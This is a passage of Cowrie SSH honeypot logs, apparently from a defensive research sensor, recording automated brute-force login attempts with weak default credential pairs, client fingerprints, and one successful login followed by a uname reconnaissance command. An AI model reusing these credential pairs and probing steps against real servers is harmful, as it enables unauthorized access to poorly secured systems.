16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:57.077181Z","src_ip":"80.94.92.186","session":"4d70420eb47e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:57.941647Z","src_ip":"80.94.92.186","session":"4d70420eb47e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60446,"dst_ip":"159.203.135.109","dst_port":22,"session":"150671467854","protocol":"ssh","message":"New connection: 192.109.200.78:60446 (159.203.135.109:22) [session: 150671467854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:58.098121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:58.102947Z","src_ip":"192.109.200.78","session":"150671467854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:58.192562Z","src_ip":"192.109.200.78","session":"150671467854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:58.467345Z","src_ip":"192.109.200.78","session":"150671467854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:59.205029Z","src_ip":"80.94.92.186","session":"4d70420eb47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:59.555556Z","src_ip":"192.109.200.78","session":"150671467854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58020,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef198b746cb7","protocol":"ssh","message":"New connection: 176.65.139.95:58020 (159.203.135.109:22) [session: ef198b746cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:00.031039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:00.153616Z","src_ip":"176.65.139.95","session":"ef198b746cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:00.163281Z","src_ip":"176.65.139.95","session":"ef198b746cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:00.732701Z","src_ip":"176.65.139.95","session":"ef198b746cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:01.825681Z","src_ip":"176.65.139.95","session":"ef198b746cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60452,"dst_ip":"159.203.135.109","dst_port":22,"session":"2856873c61a3","protocol":"ssh","message":"New connection: 192.109.200.78:60452 (159.203.135.109:22) [session: 2856873c61a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:02.215352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:02.221586Z","src_ip":"192.109.200.78","session":"2856873c61a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:02.309549Z","src_ip":"192.109.200.78","session":"2856873c61a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:02.566467Z","src_ip":"192.109.200.78","session":"2856873c61a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:03.682775Z","src_ip":"192.109.200.78","session":"2856873c61a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60454,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd3a85076770","protocol":"ssh","message":"New connection: 192.109.200.78:60454 (159.203.135.109:22) [session: bd3a85076770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.322245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.428485Z","src_ip":"192.109.200.78","session":"bd3a85076770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.432894Z","src_ip":"192.109.200.78","session":"bd3a85076770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58036,"dst_ip":"159.203.135.109","dst_port":22,"session":"8907e5d13ed5","protocol":"ssh","message":"New connection: 176.65.139.95:58036 (159.203.135.109:22) [session: 8907e5d13ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.604401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.610703Z","src_ip":"176.65.139.95","session":"8907e5d13ed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:06.722384Z","src_ip":"176.65.139.95","session":"8907e5d13ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:07.044963Z","src_ip":"176.65.139.95","session":"8907e5d13ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:07.096753Z","src_ip":"192.109.200.78","session":"bd3a85076770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:08.198521Z","src_ip":"192.109.200.78","session":"bd3a85076770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:08.307953Z","src_ip":"176.65.139.95","session":"8907e5d13ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33052,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b31eb6fbbbe","protocol":"ssh","message":"New connection: 192.109.200.78:33052 (159.203.135.109:22) [session: 6b31eb6fbbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:10.442597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:10.447320Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:10.530791Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:10.803300Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:11.334972Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:11.338735Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:11.429096Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:11.436551Z","src_ip":"192.109.200.78","session":"6b31eb6fbbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45386,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c3465548d73","protocol":"ssh","message":"New connection: 159.203.92.129:45386 (159.203.135.109:22) [session: 4c3465548d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:12.185941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:12.191789Z","src_ip":"159.203.92.129","session":"4c3465548d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:12.213593Z","src_ip":"159.203.92.129","session":"4c3465548d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Quentin","password":"Quentin","message":"login attempt [Quentin/Quentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:12.237595Z","src_ip":"159.203.92.129","session":"4c3465548d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:13.252344Z","src_ip":"159.203.92.129","session":"4c3465548d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35464,"dst_ip":"159.203.135.109","dst_port":22,"session":"989aa1e7037f","protocol":"ssh","message":"New connection: 176.65.139.95:35464 (159.203.135.109:22) [session: 989aa1e7037f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:13.298058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:13.318961Z","src_ip":"176.65.139.95","session":"989aa1e7037f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 